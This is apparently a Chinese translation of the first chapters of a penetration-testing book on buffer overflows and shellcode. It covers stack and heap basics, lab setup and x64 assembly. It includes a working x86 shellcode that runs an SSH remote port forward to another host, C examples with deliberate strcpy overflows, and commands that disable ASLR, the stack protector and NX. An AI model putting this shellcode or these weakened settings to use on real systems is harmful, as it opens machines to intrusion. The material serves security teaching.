渗透测试-Shellcode(全)
渗透测试 Shellcode(全)
原文:
annas-archive.org/md5/490B2CAE1041BE44E9F980C77B842689
译者:飞龙
前言
本书主要介绍了如何发现缓冲区溢出漏洞,从头开始编写自己的 shellcode,学习操作系统的安全机制以及利用开发。您将了解如何使用 shellcode、汇编语言和 Metasploit 绕过操作系统和网络层的安全系统。您还将学习编写和修改 64 位 shellcode 以及内核级 shellcode 的概念。总的来说,本书是一本逐步指导的指南,将带您从低级安全技能到利用开发和 shellcode 的循环覆盖。
本书的读者对象
本书适合渗透测试人员、恶意软件分析人员、安全研究人员、取证从业人员、利用开发人员、C 语言程序员、软件测试人员以及安全领域的学生阅读。
本书涵盖内容
第一章,介绍,讨论了 shellcode、缓冲区溢出、堆破坏的概念,并介绍了计算机体系结构。
第二章,实验室设置,教授如何构建一个安全的环境来测试恶意代码,并向读者介绍调试器的图形界面。
第三章,Linux 上的汇编语言,解释了如何在 Linux 上使用汇编语言构建 shellcode。
第四章,逆向工程,介绍了如何使用调试器对代码进行逆向工程。
第五章,创建 Shellcode,解释了如何使用汇编语言和 Metasploit 构建 shellcode。
第六章,缓冲区溢出攻击,详细介绍了 Windows 和 Linux 上的缓冲区溢出攻击。
第七章,利用开发-第 1 部分,讨论了如何进行模糊测试和查找返回地址。
第八章,利用开发-第 2 部分,教授如何生成适当的 shellcode 以及如何在利用中注入 shellcode。
第九章,真实场景-第 1 部分,介绍了一个缓冲区溢出攻击的真实例子。
第十章,真实场景-第 2 部分,延续了前一章,但更加高级。
第十一章,真实场景-第 3 部分,提供了另一个真实场景的例子,但使用了更多的技术。
第十二章,检测和预防,讨论了检测和预防缓冲区溢出攻击所需的技术和算法。
充分利用本书
读者应该对操作系统内部有基本的了解(Windows 和 Linux)。对 C 语言的了解是必不可少的,熟悉 Python 会有所帮助。
本书中的所有地址都依赖于我的计算机和操作系统。因此,您的计算机上的地址可能会有所不同。
下载示例代码文件
您可以从www.packtpub.com的帐户中下载本书的示例代码文件。如果您在其他地方购买了本书,可以访问www.packtpub.com/support并注册,文件将直接通过电子邮件发送给您。
您可以按照以下步骤下载代码文件:
-
在www.packtpub.com上登录或注册。
-
选择“支持”选项卡。
-
单击“代码下载和勘误”。
-
在搜索框中输入书名,然后按照屏幕上的说明操作。
文件下载后,请确保使用最新版本解压缩或提取文件夹:
-
WinRAR/7-Zip for Windows
-
Zipeg/iZip/UnRarX for Mac
-
7-Zip/PeaZip for Linux
该书的代码包也托管在 GitHub 上,网址为github.com/PacktPublishing/Penetration-Testing-with-Shellcode
。我们还有其他代码包来自我们丰富的书籍和视频目录,可在github.com/PacktPublishing/
上找到。去看看吧!
下载彩色图像
我们还提供了一个 PDF 文件,其中包含本书中使用的屏幕截图/图表的彩色图像。您可以从www.packtpub.com/sites/default/files/downloads/PenetrationTestingwithShellcode_ColorImages.pdf
下载。
使用的约定
本书中使用了许多文本约定。
CodeInText
:表示文本中的代码词、数据库表名、文件夹名、文件名、文件扩展名、路径名、虚拟 URL、用户输入和 Twitter 用户名。以下是一个例子:“现在堆栈已恢复正常,0x1234
已移至rsi
。”
代码块设置如下:
mov rdx,0x1234
push rdx
push 0x5678
pop rdi
pop rsi
当我们希望引起您对代码块的特定部分的注意时,相关的行或项目将以粗体显示:
mov rdx,0x1234
push rdx
push 0x5678
pop rdi
pop rsi
任何命令行输入或输出都以以下形式编写:
$ nasm -felf64 stack.nasm -o stack.o
粗体:表示新术语、重要单词或屏幕上看到的单词。例如,菜单或对话框中的单词会以这种形式出现在文本中。以下是一个例子:“选择 GNU GCC 编译器,点击设置为默认,然后点击确定。”
警告或重要说明会以这种形式出现。
技巧和窍门会以这种形式出现。
第一章:介绍
欢迎来到Shellcode 渗透测试的第一章。术语渗透测试指的是攻击系统而不对系统造成任何损害。攻击背后的动机是在攻击者找到进入系统的方法之前,找到系统的缺陷或漏洞。因此,为了衡量系统抵抗暴露敏感数据的能力,我们尽可能收集尽可能多的数据,并使用 shellcode 执行渗透测试,我们必须首先了解溢出攻击。
缓冲区溢出是最古老且最具破坏性的漏洞之一,可能对操作系统造成严重损害,无论是远程还是本地。基本上,这是一个严重的问题,因为某些函数不知道输入数据是否能够适应预分配的空间。因此,如果我们添加的数据超过了分配的空间,那么这将导致溢出。有了 shellcode 的帮助,我们可以改变同一应用程序的执行流程。造成损害的主要核心是 shellcode 生成的有效载荷。随着各种软件的传播,即使有像微软这样的强大支持,也可能使您容易受到此类攻击。Shellcode 正是我们希望在控制执行流程后执行的内容,我们稍后将详细讨论。
本章涵盖的主题如下:
-
什么是堆栈?
-
什么是缓冲区?
-
什么是堆栈溢出?
-
什么是堆?
-
什么是堆破坏?
-
什么是 shellcode?
-
计算机体系结构介绍
-
什么是系统调用?
让我们开始吧!
什么是堆栈?
堆栈是内存中为每个运行的应用程序分配的空间,用于保存其中的所有变量。操作系统负责为每个运行的应用程序创建内存布局,在每个内存布局中都有一个堆栈。堆栈还用于保存返回地址,以便代码可以返回到调用函数。
堆栈使用后进先出(LIFO)来存储其中的元素,并且有一个堆栈指针(稍后我们会讨论它),它指向堆栈的顶部,并使用push将元素存储在堆栈顶部,使用pop从堆栈顶部提取元素。
让我们看下面的例子来理解这一点:
#include <stdio.h>
void function1()
{
int y = 1;
printf("This is function1\n");
}
void function2()
{
int z = 2;
printf("This is function2\n");
}
int main (int argc, char **argv[])
{
int x = 10;
printf("This is the main function\n");
function1();
printf("After calling function1\n");
function2();
printf("After calling function2");
return 0;
}
这就是上述代码的工作原理:
main
函数将首先启动,将变量x
推入堆栈,并打印出句子This is the main function
,如下所示:
main
函数将调用function1
,在继续执行function1
之前,将printf("After calling function1\n")
的地址保存到堆栈中,以便继续执行流程。通过将变量y
推入堆栈来完成function1
后,它将执行printf("This is function1\n")
,如下所示:
- 然后,再次返回到
main
函数执行printf("After calling function1\n")
,并将printf("After calling function2")
的地址推入堆栈,如下所示:
- 现在控制将继续执行
function2
,通过将变量z
推入堆栈,然后执行printf("This is function2\n")
,如下图所示:
- 然后,返回到
main
函数执行printf("After calling function2")
并退出。
什么是缓冲区?
缓冲区是用于保存数据(如变量)的临时内存部分。缓冲区只能在其函数内部访问或读取,直到它被声明为全局;当函数结束时,缓冲区也随之结束;当存在数据存储或检索时,所有程序都必须处理缓冲区。
让我们看下面的代码行:
char buffer;
这段 C 代码的含义是什么?它告诉计算机分配一个临时空间(缓冲区),大小为char
,可以容纳 1 个字节。您可以使用sizeof
函数来确认任何数据类型的大小:
#include <stdio.h>
#include <limits.h>
int main()
{
printf("The size for char : %d \n", sizeof(char));
return 0;
}
当然,您也可以使用相同的代码来获取其他数据类型的大小,比如int
数据类型。
什么是堆栈溢出?
堆栈溢出发生在将更多数据放入缓冲区中而它无法容纳时,这导致缓冲区被填满并覆盖内存中的相邻位置,剩下的输入。当负责复制数据的函数不检查输入是否能够适合缓冲区时,就会发生这种情况,比如strcpy
。我们可以使用堆栈溢出来改变代码的执行流到另一个代码,使用 shellcode。
这是一个例子:
#include <stdio.h>
#include <string.h>
// This function will copy the user's input into buffer
void copytobuffer(char* input)
{
char buffer[15];
strcpy (buffer,input);
}
int main (int argc, char **argv[])
{
copytobuffer(argv[1]);
return 0;
}
代码的工作方式如下:
- 在
copytobuffer
函数中,它分配了一个大小为15
个字符的缓冲区,但这个缓冲区只能容纳 14 个字符和一个空终止字符串\0
,表示数组的结尾
您不必以空终止字符串结束数组;编译器会为您完成。
-
然后是
strcpy
,它从用户那里获取输入并将其复制到分配的缓冲区中 -
在
main
函数中,它调用copytobuffer
并将argv
参数传递给copytobuffer
当main
函数调用copytobuffer
函数时,实际发生了什么?
以下是这个问题的答案:
-
main
函数的返回地址将被推送到内存中 -
旧基址指针(在下一节中解释)将保存在内存中
-
将分配一个大小为 15 字节或158*位的缓冲区的内存部分:
现在,我们同意这个缓冲区只能容纳 14 个字符,但真正的问题在于strcpy
函数内部,因为它没有检查输入的大小,它只是将输入复制到分配的缓冲区中。
现在让我们尝试使用 14 个字符编译和运行此代码:
让我们看看堆栈:
如您所见,程序在没有错误的情况下退出。现在,让我们再试一次,但使用 15 个字符:
现在让我们再看看堆栈:
这是堆栈溢出,分段错误是内存违规的指示;发生的情况是用户的输入溢出了分配的缓冲区,从而填充了旧的基址指针和返回地址。
分段错误意味着用户空间内存中的违规,内核恐慌意味着内核空间中的违规。
什么是堆?
堆是应用程序在运行时动态分配的一部分内存。堆可以使用 C 语言中的malloc
或calloc
函数进行分配。堆与堆栈不同,因为堆会一直保留,直到:
-
程序退出
-
它将使用
free
函数删除
堆与堆栈不同,因为在堆中可以分配非常大的空间,并且在分配的空间上没有限制,例如在堆栈中,根据操作系统的不同,分配的空间是有限的。您还可以使用realloc
函数调整堆的大小,但无法调整缓冲区的大小。在使用堆时,您必须在完成后使用free
函数释放堆,但在堆栈中不需要;此外,堆栈比堆更快。
让我们看看下面的代码行:
char* heap=malloc(15);
这段 C 代码的含义是什么?
它告诉计算机在堆内存中分配一个大小为15
字节的部分,并且还应该容纳 14 个字符加上一个空终止字符串\0
。
什么是堆损坏?
堆损坏发生在复制或推送到堆中的数据大于分配的空间时。让我们看一个完整的堆示例:
#include <string.h>
#include <stdlib.h>
void main(int argc, char** argv)
{
// Start allocating the heap
char* heap=malloc(15);
// Copy the user's input into heap
strcpy(heap, argv[1]);
// Free the heap section
free(heap);
}
在第一行代码中,使用malloc
函数分配了一个大小为15
字节的堆;在第二行代码中,使用strcpy
函数将用户输入复制到堆中;在第三行代码中,使用free
函数释放了堆,返回给系统。
让我们编译并运行它:
现在,让我们尝试使用更大的输入来使其崩溃:
这个崩溃是堆破坏,迫使程序终止。
内存布局
这是一个包含以下内容的程序的完整内存布局:
-
.text
部分用于保存程序代码 -
.data
部分用于保存初始化的数据 -
.BSS
部分用于保存未初始化的数据 -
堆部分用于保存动态分配的变量
-
栈部分用于保存非动态分配的变量,如缓冲区:
看看堆和栈是如何增长的;栈从高内存增长到低内存,而堆从低内存增长到高内存。
什么是 shellcode?
Shellcode 就像是用机器语言编写的溢出利用中使用的有效载荷。因此,shellcode 用于在利用易受攻击的进程后覆盖执行流程,比如让受害者的机器连接回您以生成一个 shell。
下一个示例是用于 Linux x86 SSH 远程端口转发的 shellcode,执行ssh -R 9999:localhost:22 192.168.0.226
命令:
"\x31\xc0\x50\x68\x2e\x32\x32\x36\x68\x38\x2e\x30\x30\x68\x32\x2e\x31\x36""\x66\x68\x31\x39\x89\xe6\x50\x68\x74\x3a\x32\x32\x68\x6c\x68\x6f\x73\x68""\x6c\x6f\x63\x61\x68\x39\x39\x39\x3a\x66\x68\x30\x39\x89\xe5\x50\x66\x68""\x2d\x52\x89\xe7\x50\x68\x2f\x73\x73\x68\x68\x2f\x62\x69\x6e\x68\x2f\x75""\x73\x72\x89\xe3\x50\x56\x55\x57\x53\x89\xe1\xb0\x0b\xcd\x80";
这是该 shellcode 的汇编语言:
xor %eax,%eax
push %eax
pushl $0x3632322e
pushl $0x30302e38
pushl $0x36312e32
pushw $0x3931
movl %esp,%esi
push %eax
push $0x32323a74
push $0x736f686c
push $0x61636f6c
push $0x3a393939
pushw $0x3930
movl %esp,%ebp
push %eax
pushw $0x522d
movl %esp,%edi
push %eax
push $0x6873732f
push $0x6e69622f
push $0x7273752f
movl %esp,%ebx
push %eax
push %esi
push %ebp
push %edi
push %ebx
movl %esp,%ecx
mov $0xb,%al
int $0x80
计算机架构
让我们来了解一些计算机架构(Intel x64)中的概念。计算机的主要组件如下图所示:
让我们更深入地了解 CPU。CPU 有三个部分:
-
算术逻辑单元(ALU):这部分负责执行算术运算,如加法和减法,以及逻辑运算,如 ADD 和 XOR
-
寄存器:这是我们在本书中真正关心的内容,它们是 CPU 的超快速内存,我们将在下一节中讨论
-
控制单元(CU):这部分负责 ALU 和寄存器之间的通信,以及 CPU 本身和其他设备之间的通信
寄存器
正如我们之前所说,寄存器就像是 CPU 的超快速内存,用于存储或检索处理中的数据,并分为以下几个部分。
通用寄存器
Intel x64 处理器中有 16 个通用寄存器:
- 累加器寄存器(RAX)用于算术运算—RAX持有64位,EAX持有32位,AX持有16位,AH持有8位,AL持有8位:
- 基址寄存器(RBX)用作数据指针—RBX持有64位,EBX持有32位,BX持有16位,BH持有8位,BL持有8位:
- 计数器寄存器(RCX)用于循环和移位操作—RCX持有64位,ECX持有32位,CX持有16位,CH持有8位,CL持有8位:
- 数据寄存器(RDX)用作数据持有者和算术运算—RDX持有64位,EDX持有32位,DX持有16位,DH持有8位,DL持有8位:
- 源索引寄存器(RSI)用作源指针—RSI持有64位,ESI持有32位,DI持有16位,SIL持有8位:
- 目的索引寄存器(RDI)用作目的指针—RDI持有64位,EDI持有32位,DI持有16位,DIL持有8位:
RSI和RDI都用于流操作和字符串操作。
- 栈指针寄存器(R****SP)用作指向栈顶的指针—RSP持有64位,ESP持有32位,SP持有16位,SPL持有8位:
- 基指针寄存器(RBP)用作栈的基址指针—RBP持有64位,EBP持有32位,BP持有16位,BPL持有8位:
- 寄存器 R8、R9、R10、R11、R12、R13、R14 和 R15 没有特定的操作,但它们的架构与先前的寄存器不同,比如高(H)值或低(L)值。但是,它们可以用作D表示双字,W表示字,或B表示字节。让我们以R8为例:
在这里,R8 保存 64 位,R8D 保存 32 位,R8W 保存 16 位,R8B 保存 8 位。
R8 到 R15 只存在于 Intel x64 而不是 x84。
指令指针
指令指针寄存器或 RIP 用于保存下一条指令。
让我们先看以下示例:
#include <stdio.h>
void printsomething()
{
printf("Print something\n");
}
int main ()
{
printsomething();
printf("This is after print something function\n");
return 0;
}
将执行的第一件事是main
函数,然后它将调用printsomething
函数。但在调用printsomething
函数之前,程序需要确切地知道在执行printsomething
函数后的下一个操作是什么。因此,在调用printsomething
之前,下一条指令printf("This is after print something function\n")
的位置将被推送到 RIP 等等:
在这里,RIP 保存 64 位,EIP 保存 32 位,IP 保存 16 位。
以下表格总结了所有通用寄存器:
64 位寄存器 | 32 位寄存器 | 16 位寄存器 | 8 位寄存器 |
---|---|---|---|
RAX | EAX | AX | AH,AL |
RBX | EBX | BX | BH, BL |
RCX | ECX | CX | CH, CL |
RDX | EDX | DX | DH,DL |
RSI | ESI | SI | SIL |
RDI | EDI | DI | DIL |
RSP | ESP | SP | SPL |
RBP | EBP | BP | BPL |
R8 | R8D | R8W | R8B |
R9 | R9D | R9W | R9B |
R10 | R10D | R10W | R10B |
R11 | R11D | R11W | R11B |
R12 | R12D | R12W | R12B |
R13 | R13D | R13W | R13B |
R14 | R14D | R14W | R14B |
R15 | R15D | R15W | R15B |
标志寄存器
这些是计算机用来控制执行流程的寄存器。例如,汇编中的 JMP 操作将根据标志寄存器的值执行,比如“跳转如果为零”(JZ)操作,这意味着如果零标志包含 1,执行流程将被改变到另一个流程。我们将讨论最常见的标志:
-
如果在算术运算中有加法进位或减法借位,则设置进位标志(CF)。
-
如果设置位的数量为偶数,则设置奇偶标志(PF)。
-
如果在算术运算中有二进制代码十进位的进位,则设置调整标志(AF)。
-
如果结果为零,则设置零标志(ZF)。
-
如果最高有效位为 1(数字为负数),则设置符号标志(SF)。
-
在算术运算中,如果操作的结果太大而无法容纳在寄存器中,将设置溢出标志(OF)。
段寄存器
共有六个段寄存器:
-
代码段(CS)指向堆栈中代码段的起始地址
-
堆栈段(SS)指向堆栈的起始地址
-
数据段(DS)指向堆栈中数据段的起始地址
-
额外段(ES)指向额外数据
-
F 段(FS)指向额外数据
-
G 段(GS)指向额外数据
FS 中的 F 表示 E 后的 F;而 GS 中的 G 表示 F 后的 G。
端序
端序描述了在内存或寄存器中分配字节的顺序,有以下两种类型:
- “大端”意味着从左到右分配字节。让我们看看像shell这样的单词(十六进制为73 68 65 6c 6c)将如何在内存中分配:
它按从左到右的顺序推送。
- “小端”意味着从右到左分配字节。让我们看看以小端方式处理前面的例子:
正如你所看到的,它向后推了llehs,而最重要的是英特尔处理器是小端序的。
系统调用
在 Linux 内存(RAM)中有两个空间:用户空间和内核空间。内核空间负责运行内核代码和系统进程,并具有对内存的完全访问权限,而用户空间负责运行用户进程和应用程序,并具有对内存的受限访问权限,这种分离是为了保护内核空间。
当用户想要执行一个代码(在用户空间),用户空间通过系统调用发送请求给内核空间,也被称为 syscalls,通过诸如 glibc 的库,然后内核空间使用 fork-exec 技术代表用户空间执行它。
什么是系统调用?
系统调用就像用户空间用来请求内核代表用户空间执行的请求。例如,如果一个代码想要打开一个文件,那么用户空间会发送打开系统调用给内核,代表用户空间打开文件,或者当一个 C 代码包含printf
函数时,用户空间会发送写系统调用给内核:
fork-exec 技术是 Linux 通过 fork 系统调用复制父进程在内存中的资源,然后使用 exec 系统调用运行可执行代码的方式来运行进程或应用程序。
系统调用就像内核 API,或者说你要如何与内核本身交流,告诉它为你做一些事情。
用户空间是一个隔离的环境或沙盒,用来保护内核空间及其资源。
那么我们如何获取 x64 内核系统调用的完整列表呢?实际上很容易,所有系统调用都位于这个文件中:/usr/include/x86_64-linux-gnu/asm/unistd_64.h
:
cat /usr/include/x86_64-linux-gnu/asm/unistd_64.h
以下截图显示了上述命令的输出:
这只是我的内核系统调用的一小部分。
总结
在本章中,我们讨论了计算机科学中的一些定义,如堆栈、缓冲区和堆,还简要提到了缓冲区溢出和堆破坏。然后,我们转向了计算机体系结构中的一些定义,比如寄存器,在调试和理解处理器内部执行方式方面非常重要。最后,我们简要讨论了系统调用,在 Linux 汇编语言中也很重要(我们将在下一部分中看到),以及内核如何在 Linux 上执行代码。在这一点上,我们已经准备好进入另一个层次,即构建一个环境来测试溢出攻击,并创建和注入 shellcode。
第二章:实验室设置
在本章中,我们将建立一个隔离的实验室,用于本书的其余部分。我们将看到如何安装诸如 Metasploit 框架之类的工具,以创建 shellcode 和利用开发。我们还将看到如何在 Microsoft Windows 上安装 C 语言 IDE 和编译器,然后再看看 Windows 和 Linux 上的 Python 编程语言。然后,我们将看看安装和熟悉调试器界面
首先,我们需要三台机器。第一台是用于模拟远程攻击的攻击者,将是 Linux 操作系统。在这里,我更喜欢 Kali Linux,因为它包含了我们需要的所有工具,另外我们还将安装一些额外的工具。第二台将是 Ubuntu 14.04 LTS x64,第三台将是 Windows 7 x64。
本章涵盖的主题如下:
-
配置攻击者机器
-
配置 Linux 受害者机器
-
配置 Windows 受害者机器
-
配置 Linux 受害者机器
-
配置 Ubuntu 以进行 x86 汇编
-
网络
您可以使用 VMware、KVM 或 VirtualBox,但请确保选择仅主机网络,因为我们不希望将这些易受攻击的机器暴露给外部世界。
配置攻击者机器
如我之前所说,攻击者机器将是我们的主要基地,我更喜欢 Kali Linux,但如果您要使用其他发行版,那么您必须安装以下软件包:
- 首先,我们需要确保 C 编译器已安装;使用
gcc -v
命令:
-
如果没有,只需使用
$ sudo apt-get install gcc
(Debian 发行版)或$ sudo yum install gcc
(Red Hat 发行版)。接受并安装带有其依赖项的gcc
。 -
此外,我们将在利用开发中使用 Python 编程语言。Python 默认随大多数 Linux 发行版一起安装,要确保它已安装,只需使用
$ python -V
或python
。然后,Python 解释器将启动(按Ctrl + D退出):
-
对于文本编辑器,我使用
nano
作为我的 CLI 文本编辑器,atom
作为我的 GUI 文本编辑器;nano
也随大多数 Linux 发行版一起安装。 -
如果要安装
atom
,请转到github.com/atom/atom/releases/
,您将找到一个测试版和稳定版。然后,根据您的系统下载 Atom 软件包,.deb
或.rpm
,并使用$ sudo dpkg -i package-name.deb
(Debian 发行版)或$ sudo rpm -i package-name.rpm
(Red Hat 发行版)进行安装。
这就是 Atom 界面的样子:
在创建 shellcode 和利用开发时,我们将使用 Metasploit 框架。要安装 Metasploit,我建议您使用全自动安装程序通过github.com/rapid7/metasploit-framework/wiki/Nightly-Installers
。这个脚本将安装 Metasploit 以及它的依赖项(Ruby 和 PostgreSQL)。看下一个例子(在 ARM 上安装 Metasploit,但与 Intel 相同):
- 首先,使用
curl
命令获取安装程序:
$ curl https://raw.githubusercontent.com/rapid7/
metasploit-omnibus/master/config/templates/
metasploit-framework-wrappers/msfupdate.erb > msfinstall
- 然后,使用
chmod
命令给予适当的权限:
$ chmod 755 msfinstall
- 然后,启动安装程序:
$ ./msfinstall
-
现在它将开始下载 Metasploit 框架以及它的依赖项。
-
要为 Metasploit 框架创建数据库,只需使用
msfconsole
并按照说明操作:
$ msfconsole
- 然后,它将设置一个新的数据库,Metasploit 框架开始:
-
由于我们将使用汇编编程语言,让我们看看汇编器(
nasm
)和链接器(ld
)。 -
首先,我们需要使用
$ sudo apt-get install nasm
来安装nasm
(Debian 发行版)。对于 Red Hat 发行版,根据 NASM 的网站,您首先需要将此存储库添加到您的/etc/yum/yum.repos.d
中作为nasm.repo
:
[nasm]
name=The Netwide Assembler
baseurl=http://www.nasm.us/pub/nasm/stable/linux/
enabled=1
gpgcheck=0
[nasm-testing]
name=The Netwide Assembler (release candidate builds)
baseurl=http://www.nasm.us/pub/nasm/testing/linux/
enabled=0
gpgcheck=0
[nasm-snapshot]
name=The Netwide Assembler (daily snapshot builds)
baseurl=http://www.nasm.us/pub/nasm/snapshots/latest/linux/
enabled=0
gpgcheck=0
- 然后,使用
$ sudo yum update && sudo yum install nasm
来更新和安装nasm
,以及$ nasm -v
来获取 NASM 的版本:
- 使用命令
$ ld -v
来获取链接器的版本:
配置 Linux 受害机器
这台机器将是 Ubuntu 14.04 x64。您可以从releases.ubuntu.com/14.04/
下载它。此外,我们必须遵循先前的指示来安装gcc
,Python 和nasm
。
现在,让我们安装一个非常友好的 GUI,名为 edb-debugger。您可以按照此页面github.com/eteran/edb-debugger/wiki/Compiling-(Ubuntu)
或按照下一个指示。
首先,使用以下命令安装依赖项:
$ sudo apt-get install cmake build-essential libboost-dev libqt5xmlpatterns5-dev qtbase5-dev qt5-default libgraphviz-dev libqt5svg5-dev git
然后,克隆并编译 Capstone 3.0.4,如下所示:
$ git clone --depth=50 --branch=3.0.4 https://github.com/aquynh/capstone.git
$ pushd capstone
$ ./make.sh
$ sudo ./make.sh install
$ popd
然后,克隆并编译 edb-debugger,如下所示:
$ git clone --recursive https://github.com/eteran/edb-debugger.git
$ cd edb-debugger
$ mkdir build
$ cd build
$ cmake ..
$ make
然后,使用$ sudo ./edb
命令启动 edb-debugger,打开以下窗口:
正如我们所看到的,edb-debugger 有以下四个窗口:
-
反汇编窗口将机器语言转换为汇编语言
-
寄存器窗口包含所有寄存器的当前内容
-
数据转储窗口包含当前进程的内存转储
-
堆栈窗口包含当前进程的堆栈内容
现在到最后一步。为了学习目的,需要禁用地址空间布局随机化(ASLR)。这是 Linux 中的一种安全机制,我们稍后会谈论它。
只需执行$ echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
命令。
此外,我们将在使用gcc
进行编译时禁用堆栈保护程序和 NX,使用:
$ gcc -fno-stack-protector -z execstack
配置 Windows 受害机器
在这里,我们将配置 Windows 机器作为受害机器,这是 Windows 7 x64。
首先,我们需要安装 C 编译器和 IDE,我建议使用Code::Blocks,要安装它,从www.codeblocks.org/downloads/binaries.
下载二进制文件。在这里,我将安装codeblocks-16.01mingw-setup.exe
(最新版本)。下载并安装mingw
版本。
在首次启动Code::Blocks时,将弹出一个窗口以配置编译器。选择 GNU GCC Compiler,点击 Set as default,然后点击 OK:
然后,IDE 界面将弹出:
现在我们有了 C 编译器和 IDE。现在,让我们转向安装调试器。
首先,我们需要 x86 的Immunity Debugger;从debugger.immunityinc.com/ID_register.py
下载 Immunity。填写这个表格,下载,然后使用默认设置安装它,它会要求您确认安装 Python。之后,我们需要安装一个名为mona
的调试器插件,由 Corelan 团队创建,www.corelan.be
。这是一个很棒的插件,将帮助我们进行利用开发。从他们的 GitHub 存储库github.com/corelan/mona
下载mona.py
文件,然后将其复制到C:\Program Files (x86)\Immunity Inc\Immunity Debugger\Immunit\PyCommands
:
这就是 Immunity Debugger 的外观,它由四个主要窗口组成,正如在 edb-debugger 中所解释的那样。
此外,我们现在有 Python,要确认,只需导航到C:\Python27\
。然后,点击 Python,Python 解释器将弹出:
现在,让我们安装 x64dbg。这也是 Windows x86 和 x64 的调试器,但是当涉及到 x86 Windows 时,没有比 Immunity Debugger 更好的了。
转到sourceforge.net/projects/x64dbg/files/snapshots/
,然后下载最新版本。解压缩然后导航到/release
以启动x96dbg:
然后,点击 x64dbg:
现在我们正在看 x64dbg 界面,它也包含四个主要窗口,正如在 edb-debugger 中所解释的那样:
为汇编 x86 配置 Ubuntu
这对于本书来说并不是强制性的,但如果您想尝试 x86 汇编,它已经包含在内。使用的机器将是 Ubuntu 14.04 x86,您可以从releases.ubuntu.com/14.04/
下载。
我们必须遵循先前的说明来安装 NASM、GCC、文本编辑器,我将使用 GDB 作为我的调试器。
网络
由于我们将在受害者机器上运行易受攻击的应用程序进行利用研究和注入 shellcode,因此在配置每台机器后,我们必须建立一个安全的网络。这是通过使用主机模式来确保所有机器连接在一起,但它们仍然是脱机的,不会暴露在外部世界中。
如果您使用的是 VirtualBox,则转到首选项|网络并设置主机模式网络:
然后,设置一个与外部 IP 不冲突的 IP 范围,例如:
-
IP 地址:
192.168.100.1
-
子网掩码:
255.255.255.0
然后,您可以从 DHCP 服务器选项卡激活 DHCP 服务器。
您应该在您的ifconfig
中看到它:
$ ifconfig vboxnet0
然后,在您的客户机适配器上激活此网络(例如,vboxnet0
):
如果您使用的是 VMware Workstation,请转到编辑|虚拟网络编辑器:
此外,您可以确保主机模式网络已启动:
$ ifconfig vmnet1
然后,从客户机设置中,转到网络适配器,并选择主机模式:与主机共享的私有网络:
总结
在本章中,我们安装了三个主要的操作系统:一个用于模拟攻击者机器以尝试远程利用,第二个是 Ubuntu x64,第三个是 Windows 7,最后两个操作系统是受害者。另外,还有一台额外的机器用于尝试汇编 x86。
此外,我们还禁用了 Linux 中的一些安全机制,仅供学习目的,然后我们进行了网络配置。
在下一章中,让我们迈出一大步,学习汇编,这将使我们能够编写自己的 shellcode,并让您真正了解计算机如何执行每个命令。
第三章:Linux 中的汇编语言
在本章中,我们将讨论在 Linux 中的汇编语言编程。我们将学习如何构建我们自己的代码。汇编语言是一种低级编程语言。低级编程语言是机器相关的编程,是计算机理解的最简单形式。在汇编中,你将处理计算机架构组件,如寄存器和堆栈,不像大多数高级编程语言,如 Python 或 Java。此外,汇编不是一种可移植的语言,这意味着每种汇编编程语言都特定于一种硬件或一种计算机架构;例如,英特尔有自己特定的汇编语言。我们学习汇编不是为了构建复杂的软件,而是为了构建我们自己定制的 shellcode,所以我们将使它非常简单和简单。
我保证,完成本章后,你将以不同的方式看待每个程序和进程,并且你将能够理解计算机是如何真正执行你的指令的。让我们开始吧!
汇编语言代码结构
在这里,我们不会讨论语言结构,而是代码结构。你还记得内存布局吗?
让我们再来看一下:
我们将把我们的可执行代码放在.text
部分,我们的变量放在.data
部分:
让我们也更仔细地看一下堆栈。堆栈是LIFO,这意味着后进先出,所以它不是随机访问,而是使用推入和弹出操作。推入是将某物推入堆栈顶部。让我们看一个例子。假设我们有一个堆栈,它只包含0x1234:
现在,让我们使用汇编push 0x5678
将某物推入堆栈。这条指令将值0x5678推入堆栈,并将堆栈指针指向0x5678:
现在,如果我们想要从堆栈中取出数据,我们使用pop
指令,它将提取推入堆栈的最后一个元素。因此,以相同的堆栈布局,让我们使用pop rax
来提取最后一个元素,它将提取值0x5678并将其移动到RAX寄存器:
这很简单!
我们将如何在 Linux x64 上编写汇编代码?实际上,这很简单;你还记得系统调用吗?这就是我们通过调用系统命令来执行我们想要的方式。例如,如果我想要退出一个程序,那么我必须使用exit
系统调用。
首先,这个文件/usr/include/x86_64-linux-gnu/asm/unistd_64.h
包含了 Linux x64 的所有系统调用。让我们搜索exit
系统调用:
$ cat /usr/include/x86_64-linux-gnu/asm/unistd_64.h | grep exit
#define __NR_exit 60
#define __NR_exit_group 231
exit
系统调用有一个系统调用号60
。
现在,让我们来看一下它的参数:
$ man 2 exit
以下截图显示了前面命令的输出:
只有一个参数,即status
,它具有int
数据类型来定义退出状态,例如零状态表示没有错误:
void _exit(int status);
现在,让我们看看如何使用寄存器来调用 Linux x64 系统调用:
我们只是将系统调用号放入RAX,然后将第一个参数放入RDI,第二个参数放入RSI,依此类推,就像前面的截图所示。
让我们看一看我们将如何调用exit
系统调用:
我们只是将60,即exit
系统调用号放入RAX,然后将0放入RDI,这就是退出状态;是的,就是这么简单!
让我们更深入地看一下汇编代码:
mov rax, 60
mov rdi, 0
第一行告诉处理器将值60
移动到rax
中,第二行告诉处理器将值0
移动到rdi
中。
正如你所看到的,一条指令的一般结构是{操作} {目的地},{来源}
。
数据类型
数据类型在汇编中很重要。我们可以用它们来定义变量,或者当我们想要对寄存器或内存的一小部分执行任何操作时使用它们。
以下表格解释了汇编中基于长度的数据类型:
名称 | 指令 | 字节 | 位 |
---|---|---|---|
字节 | db |
1 | 8 |
字 | dw |
2 | 16 |
双字 | dd |
4 | 32 |
四字 | dq |
8 | 64 |
为了充分理解,我们将在汇编中构建一个 hello world 程序。
Hello world
好的,让我们开始深入了解。我们将构建一个 hello world,这无疑是任何程序员的基本构建块。
首先,我们需要了解我们真正需要的是一个系统调用来在屏幕上打印hello world
。为此,让我们搜索write
系统调用:
$ cat /usr/include/x86_64-linux-gnu/asm/unistd_64.h | grep write
#define __NR_write 1
#define __NR_pwrite64 18
#define __NR_writev 20
#define __NR_pwritev 296
#define __NR_process_vm_writev 311
#define __NR_pwritev2 328
我们可以看到write
系统调用的编号是1
;现在让我们看看它的参数:
$ man 2 write
以下截图显示了前面命令的输出:
write
系统调用有三个参数;第一个是文件描述符:
ssize_t write(int fd, const void *buf, size_t count);
文件描述符有三种模式:
整数值 | 名称 | stdio.h 的别名 |
---|---|---|
0 |
标准输入 | stdin |
1 |
标准输出 | stdout |
2 |
标准错误 | stderr |
因为我们要在屏幕上打印hello world
,所以我们将选择标准输出1
